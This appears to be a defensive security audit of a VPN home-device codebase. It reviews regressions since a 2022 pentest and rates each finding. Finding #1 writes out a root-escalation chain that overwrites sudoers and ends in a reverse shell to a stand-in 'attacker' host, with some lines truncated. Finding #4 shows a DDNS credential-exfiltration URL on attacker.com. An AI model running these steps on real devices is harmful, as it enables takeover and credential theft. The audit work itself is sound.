

WEPN home_device Security Audit Report

Date: 2026-05-29

Auditor Role: Role 3 — Skeptic Developer Reviewer

Scope: home_device repository (post-2022 7ASecurity audit)

Scope Constraints Applied

The following are **explicitly out of scope** for this audit:

- **Local network access:** The pod's home LAN is treated as a trusted network. Any attack that requires the attacker to be on the same LAN as the pod (ARP spoofing, LAN-side brute force, traffic interception on the LAN) is not considered.
 - **Physical access:** Attacks requiring hands-on access to the device are out of scope.
 - **Fleet-wide SSH key to relay.we-pn.com:** All pods share the same SSH key to connect to the relay server. The relay holds no secrets, the tunnel is user-initiated, and it times out quickly. This is by design and out of scope.
 - **Unclaimed device behavior:** When a device is unclaimed, LAN nodes can legitimately access the claim endpoint and claim the device. This is expected and by design. No valid token exists at that point, so `valid_token()` cannot gate `claim_info()`. Findings that treat unclaimed-state LAN exposure as a vulnerability are not valid under this scope.
-

Executive Summary

The 2022 7ASecurity pentest found serious flaws and the team fixed them. The question this review asks is: did those fixes hold, and what did they miss? The answer is uncomfortable on one point: the 2022 passwordless sudo finding was patched by replacing it with a *worse* version. The new `wepn_git.sh` sudo rule grants `pproxy` a mechanical path to full root in seconds, because the git staging directory is `pproxy`-writable and the script copies it verbatim to `/etc/` and `/usr/local/sbin/` as root with no ownership validation. Until that rule is removed, the `pproxy` security boundary and the root security boundary are the same thing. Every other hardening investment is one `pproxy` code-execution bug away from being irrelevant.

The second cluster concerns trust placement under backend compromise. The device trusts the WEPN backend implicitly: MQTT commands write SMTP server addresses, DDNS URL templates, and service configuration directly to `config.ini` with no validation or allowlisting. A compromised MQTT broker can redirect all credential emails to an attacker's server and exfiltrate DDNS credentials on every update cycle. The `config_update` handler has a developer comment — "TODO: these might require sanitization" — that has never been resolved. None of these paths require LAN access; they require only MQTT broker compromise.

The 2022 fix for IP-resolver spoofing (`local_token` sent to external IP) is correct for the documented threat, but its two-phase redesign introduced a new edge case: if `ip.wepn.com` returns a loopback address (which passes the IPv4 regex), `forward_ports.py` self-triggers the exposure lockout and disables the local API until the process is restarted. The root cause — `ipw.py` accepting `127.0.0.1` as a valid external IP — was never fixed.

Recommended immediate actions: (1) Remove the `wepn_git.sh` sudo rule from production sudoers. (2) Reject RFC1918 and loopback in `ipw.py`. (3) Validate and allowlist MQTT-supplied SMTP/DDNS addresses. Everything else can follow in ordered sprints.

Critical & High Findings

[P0] Finding #1 — `pproxy` → Full Root via `wepn_git.sh` sudo rule

Files: `setup/sudoers:30`, `usr/local/sbin/wepn_git.sh:5-13,29`

Description: `sudoers:30` grants `pproxy` NOPASSWD sudo for `wepn_git.sh`. That script hardcodes `GIT_DIR=/var/local/pproxy/git` — a directory owned by `pproxy`. It then executes, as root, three operations in sequence: `cp -r $GIT_DIR/home_device/etc/* /etc/`, `cp -r $GIT_DIR/home_device/usr/local/sbin/* /usr/local/sbin/`, and `/bin/bash $WEPN_DIR/setup/post-install.sh`. There is no ownership check, no read-only mount, and no signature verification on any of the files being copied.

Additional skeptic observation: `wepn_git.sh:8` also runs `usermod -s /bin/bash pproxy`, restoring an interactive shell to the `pproxy` account unconditionally. If deployment hardening sets `pproxy`'s shell to `/usr/sbin/nologin`, this line undoes that hardening on every OTA update, as a side effect visible to any attacker who can trigger an OTA via MQTT.

Attack chain:

Precondition: Code execution as `pproxy` user (via any service vulnerability, OTA poisoning, malformed Shadowsocks/WireGuard/MQTT input)

```
Step 1: mkdir -p /var/local/pproxy/git/home_device/etc/
Step 2: echo 'pproxy ALL=(ALL:ALL) NOPASSWD: ALL' \
        > /var/local/pproxy/git/home_device/etc/sudoers
Step 3: mkdir -p /var/local/pproxy/git/home_device/usr/local/pproxy/set
Step 4: echo '#!/bin/bash' > \
        /var/local/pproxy/git/home_device/usr/local/pproxy/setup/post-i
        echo 'bash -i >& /dev/tcp/attacker/4444 0>&1' >> [same file]
Step 5: sudo /usr/local/sbin/wepn_git.sh
        ↳ cp overwrites /etc/sudoers                (pproxy now has unres
        ↳ post-install.sh executes as root            (reverse shell / any
Step 6: sudo su → full root shell
```

Impact: Complete device takeover. All VPN user credentials, MQTT keys, config secrets (`device_key`, `e2e_key`, `local_token`) are exposed.

Why the 2022 fix regressed this: The 2022 finding was unrestricted passwordless sudo. The fix narrowed it to named commands — but `wepn_git.sh` is effectively a root-as-a-service API: it copies `pproxy`-writable content to system directories as root. This is not a constrained

sudo rule in any security-meaningful sense.

CVSS 3.1: 8.8 (AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

Remediation: Remove `wepn_git.sh` from the `sudoers` file immediately. The OTA workflow must not copy `pproxy-writable` directories to `/etc/` as root. The already-present `update-pproxy.sh apt` pathway (`apt-get install pproxy-rpi`) is architecturally sound — `apt` handles package signing and uses root-owned staging. Use that exclusively.

Medium Findings

[P2] Finding #3 — `set_creds` Writes SMTP Config Verbatim from MQTT

File: `usr/local/pproxy/pproxy.py:551-559`

The `set_creds` MQTT action writes `host`, `port`, `username`, `password`, and `email` fields directly to `config.ini` with no domain allowlisting, port range check, or format validation. A compromised MQTT broker can redirect all VPN credential delivery emails to an attacker-controlled SMTP server that logs credentials.

Skeptic note on scope: The `delete_user` handler at `pproxy.py:518-528` also sends email using `data['email']` without validation — the same redirect affects removal notifications too. Both handlers share the gap, but only `set_creds` writes the server config.

CVSS 3.1: 6.5 (AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:L/A:N) — **Priority P2**

Remediation: Allowlist `email.host` to known SMTP providers, or require it to match a domain anchored at factory provisioning time. At minimum, validate `email` as a syntactically valid RFC 5322 address before writing it to `config`.

[P2] Finding #4 — `set_ddns` Writes Attacker-Controlled URL Template

File: `usr/local/pproxy/pproxy.py:561-568`, `usr/local/pproxy/device.py:559-565`

The `set_ddns` handler writes a url template to `config.ini`. `_update_dns_ddns()` later formats it with `username`, `password`, `hostname`, and `ip_address` before making a GET request. A compromised backend sets the URL to `http://attacker.com/?u={}&p={}&h={}&ip={}` and receives DDNS credentials on every update cycle.

Skeptic note — the TODO comment: `pproxy.py:574` contains `# TODO: these might require sanitization inside the related config_update handler`. This comment shipped to production unresolved. The `set_creds` and `set_ddns` handlers have no such warning, suggesting they were never internally flagged at all.

CVSS 3.1: 6.5 (AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:L/A:N) — **Priority P2**

Remediation: Enforce `https://` scheme only on the URL, and optionally allowlist target domains to known DDNS providers. Reject any URL resolving to loopback or RFC1918 addresses.

[P2] Finding #18 — `data['email']` Used Unsanitized as SMTP `send_to`

File: `usr/local/pproxy/pproxy.py:474-481`

The `add_user` MQTT handler calls `send_mail(send_to=data['email'], ...)` with no email address validation. A compromised backend sends `add_user` with `email=attacker@evil.com`. VPN access credentials (Shadowsocks config, WireGuard peer file, or OpenVPN profile) are delivered to the attacker's address instead of — or in addition to — the intended friend.

CVSS 3.1: 6.0 (AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:L/A:N) — **Priority P2**

Remediation: Validate `data['email']` against an RFC 5322 pattern before use as `send_to`. Ideally, cross-check it against the registered email for that user stored in local state.

[P2] Finding #6 — Self-DoS via Loopback Return from `ip.we-pn.com`

File: `usr/local/pproxy/ipw.py:16-17`, `usr/local/pproxy/periodic/forward_ports.py:36-71`

`ipw.py` validates the external IP only as a four-octet IPv4 string. `127.0.0.1` passes this regex. `forward_ports.py` Phase 1 then probes `https://127.0.0.1:5000/...` — the pod's own Flask API answers, Phase 1 concludes the port is externally reachable, and Phase 2 sends the valid `local_token` to `127.0.0.1:5000/api/v1/port_exposure/check`, setting the global `exposed = True` flag in the `wepn-api` process. All authenticated local API endpoints return HTTP 503 until `wepn-api` is restarted.

Skeptic challenge on the 2022 fix: The 2022 finding was that `local_token` was sent to the external IP returned by the resolver. The fix's two-phase split — probe without token, send token only to `127.0.0.1` — correctly blocks token exfiltration to an external host. But the root cause (`ipw.py` accepting `127.0.0.1` as a valid external IP) was never addressed. The fix created a self-trigger path that did not exist before. A defender who reads the Phase 2 code and sees `127.0.0.1` hardcoded will reasonably conclude it is safe — but Phase 1's decision to trigger Phase 2 depends entirely on `ipw.py`'s acceptance of the resolver's response.

CVSS 3.1: 5.3 (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H) — **Priority P2**

Remediation: In `ipw.py`, after the IPv4 regex match, explicitly reject loopback (`127.0.0.0/8`), link-local (`169.254.0.0/16`), and all RFC1918 ranges. Return `None` or a cached previous value. This four-line addition closes the self-DoS variant and eliminates any future recurrence of the 2022 class.

[P2] Finding #2 — `local_token` Transmitted in Every Heartbeat and Emitted to Debug Log

File: `usr/local/pproxy/heartbeat.py:195-214`, `heartbeat.py:52`

`local_token` is included in every heartbeat payload sent to the Django backend (`heartbeat.py:201`). A compromised backend receives the token with every beat,

alongside `local_ip_address`. Under normal NAT conditions this cannot be exploited remotely. However, `local_token` is also emitted verbatim to the debug log (`heartbeat.py:52: self.logger.debug("Local token=" + str(self.local_token))`). CLAUDE.md explicitly warns that the debug log config (`LOG_CONFIG`) must not be committed to production, implying it has been committed accidentally in the past. If debug logging is active on any deployed pod, the token is written in plaintext to an on-disk log file readable by anyone who can read that file.

CVSS 3.1: 5.0 — Priority P2

Remediation: Remove `local_token` from the heartbeat payload. If the backend needs to proxy local API calls for support purposes, design a dedicated short-lived challenge-response mechanism rather than transmitting a persistent credential. Replace the debug log line with a truncated or hashed representation.

Low / Informational Findings

[P3] Finding #5 — `fetch_config_from_backend()` Fetches Unsigned INI (Scope-Limited)

File: `usr/local/pproxy/device.py:851-870`

Scope clarification: This function is triggered only when two conditions are both true: (1) `config.ini` is absent, and (2) the user physically presses a key sequence on the device. At that point, the device has no credentials, no MQTT connection, and no backend URL — it has nothing. The previously documented attack chain that invoked `wipe_device` to trigger this remotely was incorrect and has been removed.

Residual concern: The function fetches raw INI text from `config.we-pn.com` over HTTPS with no signature or integrity check and writes it directly to `/etc/pproxy/config.ini`. If an attacker can spoof `config.we-pn.com` via DNS at the moment a technician is re-provisioning a factory-blank device, the resulting config will call home to the attacker on all subsequent heartbeats. This is an extremely narrow window (physical operator presence + DNS control), but a signed config blob would eliminate it entirely at negligible cost.

CVSS 3.1: 3.7 (AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N) — Priority P3

Remediation: Sign config blobs at generation time with an Ed25519 key. Verify before writing. Alternatively, restrict the fetch to a minimal set of keys (e.g., only `django.url`) rather than accepting a full file overwrite.

[P3] Finding #8 — `ip-shadow.sh` Line 4 Contradicts Its Own Comment (Code Inconsistency)

File: `usr/local/sbin/ip-shadow.sh:4,13`

Scope clarification: Per design, Shadowsocks operates as a SOCKS5 proxy — not a full VPN tunnel. At the protocol level, Shadowsocks cannot route arbitrary packets to the local network; it proxies specific application-layer connections. The iptables OUTPUT chain on the shadowsocks UID is defense-in-depth. The concern about Shadowsocks users reaching

192.168.1.1 via this rule has been reviewed and determined to be a lower risk than initially assessed given this protocol-level constraint.

Residual concern: The code is still internally inconsistent. Line 3 is a comment reading # shadowsocks does not route remote clients to local IP ranges. Line 4 immediately and explicitly ACCEPTs 192.168.1.1 before the 192.168.0.0/16 REJECT rule on line 9. Line 13 is a dead duplicate of line 4 that appears after the catch-all ACCEPT on line 12 and has no effect. A future maintainer who adds a new proxy service using the same iptables chain, or who re-enables a mode that does operate at the IP level, would inherit silently incorrect rules. The comment and the code cannot both be right.

CVSS 3.1: 3.1 (AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N) — **Priority P3**

Remediation: Delete lines 4 and 13 from ip-shadow.sh. The 0.0.0.0/0 ACCEPT on line 12 already handles all legitimate internet-destined traffic. This is a one-line fix that brings the code into agreement with the comment and removes the dead duplicate.

[P3] Finding #9 — No ip6tables Rules for SHADOWSOCKS Chain

File: usr/local/sbin/ip-shadow.sh

Scope clarification: Same as Finding #8 — Shadowsocks does not route at the IP level, so IPv6 local address reachability via the proxy is constrained by the same protocol-level limitations.

Residual concern: The absence of ip6tables rules means the documented defense-in-depth firewall for Shadowsocks egress is IPv4-only. If the service is ever changed, extended, or a different proxy backend is run on the same UID, there is no IPv6 counterpart in place. This is a hygiene gap.

CVSS 3.1: 2.6 — **Priority P3**

Remediation: Mirror the iptables rules as ip6tables rules covering ::1/128, fc00::/7, fe80::/10, and ff00::/8. If the pod has no IPv6 requirement for any service, disable IPv6 at the OS level in the package postinst instead.

[P3] Finding #10 — /tmp/update-out Predictable Path in update-pproxy.sh

File: usr/local/sbin/update-pproxy.sh:8-13

LOG="/tmp/update-out" is a predictable path. The pproxy user can pre-create a symlink at /tmp/update-out → /etc/pproxy/config.ini before the script runs as root. The subsequent chown root:root \$LOG and date > \$LOG follow the symlink — the chown changes config.ini's owner to root, and the date write truncates it to a single timestamp string, crashing pproxy on next config read. This is DoS only; escalating to RCE would require the date output to be valid cron or sudoers syntax, which it is not.

CVSS 3.1: 3.5 (AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H) — **Priority P3**

Remediation: Replace LOG="/tmp/update-out" with LOG=\$(mktemp /var/local/pproxy/update-out.XXXXXX). Remove the chown — it is unnecessary and is the step

that enables the symlink follow.

[Low] Finding #12 — e2e_key Not Cleared on wipe_device (Hygiene)

File: `usr/local/pproxy/pproxy.py:578-589`

Scope clarification: The `claim_info()` endpoint returning `e2e_key` when unclaimed is expected behavior — a legitimate claimant on the LAN needs this key to set up E2EE. This is not a vulnerability.

Residual concern: The `wipe_device` MQTT handler sets `claimed = 0` and reboots but does not clear `e2e_key` from `status.ini`. The `onboard.py` flow regenerates `e2e_key` only if its internal `self.rand_e2e_key` is `None`; after a wipe, if `status.ini` still holds the old key, a subsequent onboard may skip regeneration. The practical impact under the current trust model (LAN trusted) is low, but defensive hygiene calls for clearing the key on wipe to ensure any re-onboarding starts with a fresh value.

Priority: Low / Hygiene

Remediation: In the `wipe_device` handler, add `self.status.set('e2e_key', '')` before `self.status.save()`. In `onboard.py`, call `generate_rand_e2e_key()` unconditionally rather than conditionally.

Regression Status (2022 Audit Items)

2022 Finding	File(s)	Status	Evidence
IP resolution over cleartext HTTP	<code>ipw.py:13</code>	Fixed	Now HTTPS via <code>requests.get</code>
local_token sent to spoofable external IP	<code>forward_ports.py:37-73</code>	Partial	Phase 2 correctly sends token only to <code>127.0.0.1</code> ; but <code>ipw.py</code> still accepts <code>127.0.0.1</code> as a valid external IP, introducing the self-DoS variant (Finding #6). Root cause unaddressed.
cron-upnp.sh shell IP interpolation	<code>cron-upnp.sh</code>	Fixed	Script now calls <code>forward_ports.py</code> directly; no shell IP interpolation
Passwordless sudo — unrestricted	<code>setup/sudoers</code>	Regression	Narrowed to named commands, but <code>wepn_git.sh</code> (added since 2022) copies <code>pproxy-writable</code> dirs to <code>/etc/</code> as root — more dangerous than the original (Finding #1, P0)

ip-shadow.sh weak iptables rules	ip-shadow.sh	Partial / Scope- adjusted	IPv4 rules present; line 4 ACCEPT for 192.168.1.1 is contradictory dead code. Shadowsocks protocol-level constraints limit exploitability. No ip6tables counterpart.
Disabled TLS validation	Various	Fixed	TLS validated in all reviewed requests.get calls; # nsec annotations are scoped to documented exceptions

Hardening Recommendations

Immediate (This Week — Before Any New Deployment)

R1 — Remove wepn_git.sh from sudoers. setup/sudoers:30 — Delete this rule entirely. The OTA workflow that uses this script must transition to the apt pathway (update-pproxy.sh). If git-based deployment must be retained, the staging directory must be root-owned and populated by a signed mechanism, never by the pproxy process itself.

R2 — Reject RFC1918 and loopback addresses in ipw.py. After the IPv4 regex match, reject 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16. This closes the self-DoS variant (Finding #6) and makes any future IP-spoofing class structurally impossible from this entry point.

R3 — Validate MQTT-supplied email and URL values before writing to config. In set_creds: require host to reject RFC1918/loopback; validate email as RFC 5322 before writing. In set_ddns: enforce https:// scheme and reject loopback/RFC1918 targets. In add_user: validate data['email'] before passing to send_to. This closes Findings #3, #4, and #18 together.

Short-Term (This Sprint)

R4 — Remove local_token from heartbeat payload and debug log. heartbeat.py:201, 52 — The token should not leave the device over any channel. Remove it from the heartbeat data dict. Replace the debug log with a hashed/truncated representation.

R5 — Clear e2e_key on wipe_device. pproxy.py:578-589 — Add self.status.set('e2e_key', '') before the save+reboot. Make onboard.py call generate_rand_e2e_key() unconditionally.

R6 — Fix /tmp/update-out to use mktemp. update-pproxy.sh:8 — Replace LOG="/tmp/update-out" with LOG=\$(mktemp /var/local/pproxy/update-out.XXXXXX) and remove the chown \$LOG line.

R7 — Sign config blobs fetched from config.we-pn.com. device.py:859-866 — Add Ed25519 signature verification before writing the fetched INI to disk, or restrict the fetch to a minimal set of allowlisted keys.

R8 — Clean up ip-shadow.sh dead code. Delete lines 4 and 13 (the 192.168.1.1

ACCEPT rules). Add `ip6tables` mirror rules for `::1/128`, `fc00::/7`, `fe80::/10`, `ff00::/8`. This brings the code in line with the comment on line 3 and closes the IPv6 hygiene gap.

Architectural (Next Quarter)

R9 — Separate the MQTT trust model from the root trust model. Currently, a compromised MQTT broker can push configs, add users, install packages, and (via Finding #1, until fixed) escalate to root. The device should verify command authenticity independently of the transport: signed command envelopes using a key pinned at factory provisioning time. This removes the "backend compromise = device compromise" equivalence.

R10 — Redesign the `local_token` lifecycle. `local_token` is a 33-bit integer generated once at startup, persisted to `status.ini`, and transmitted to the backend on every heartbeat. It should be: (a) at least 128 bits using `secrets.token_hex(16)`; (b) removed from heartbeat payloads (R4); (c) rotated on every `pproxy` restart rather than kept as `prev_token` with dual-valid semantics.

R11 — Audit and close the `config_update` TODO. `pproxy.py:574: # TODO: these might require sanitization — this shipped to production.` Audit every field consumed by `services.configure()` for injection and privilege-escalation paths, apply the same allowlisting discipline as R3, then remove the comment.

R12 — Implement a remote kill-switch independent of MQTT. There is no mechanism to disable all VPN services on a device if the MQTT channel is the attack vector. A signed `emergency_stop` directive verifiable via a hardcoded HTTPS endpoint (e.g., a signed status file at a well-known URL) would allow WEPN staff to shut down a compromised device even if MQTT is under attacker control.

Additional Skeptic Observations

OBS-A — `device_key` and MQTT password are the same credential.

`onboard.py:209–210`: the same 10-character key is used as both the MQTT broker password and the `device_key` sent in REST calls to the backend. Compromising either channel compromises both simultaneously. The checksum digit appended at line 82–83 is also derivable from the preceding 10 characters, slightly reducing effective entropy.

OBS-C — `wepn_git.sh:8` restores `pproxy`'s interactive shell unconditionally. `usermod -s /bin/bash pproxy` runs on every OTA update invocation. If the system hardening sets `pproxy`'s shell to `/usr/sbin/nologin`, this line silently undoes it as a side effect of every update. Once Finding #1 is fixed by removing `wepn_git.sh` from `sudoers`, this goes away too, but it is worth noting in the hardening checklist.

Files & Components Reviewed

File	Findings
<code>setup/sudoers</code>	#1 (P0)

usr/local/sbin/wepn_git.sh	#1 (P0), OBS-C
usr/local/sbin/ip-shadow.sh	#8 (P3), #9 (P3)
usr/local/sbin/update-pproxy.sh	#10 (P3)
usr/local/pproxy/heartbeat.py	#2 (P2)
usr/local/pproxy/pproxy.py	#3 (P2), #4 (P2), #18 (P2), #12 (hygiene), R11
usr/local/pproxy/device.py	#5 (P3)
usr/local/pproxy/ipw.py	#6 (P2)
usr/local/pproxy/periodic/forward_ports.py	#6 (P2)
usr/local/pproxy/local_server/api.py	#12 (hygiene)
usr/local/pproxy/shadow.py	#15–#17 (P3, not detailed — no active exploit path)
usr/local/pproxy/setup/onboard.py	#12 (e2e_key rotation), OBS-A
sec-audits/3/scan_findings.md	Source findings #1–#21
sec-audits/3/triage.md	Triage prioritization and CVSS estimates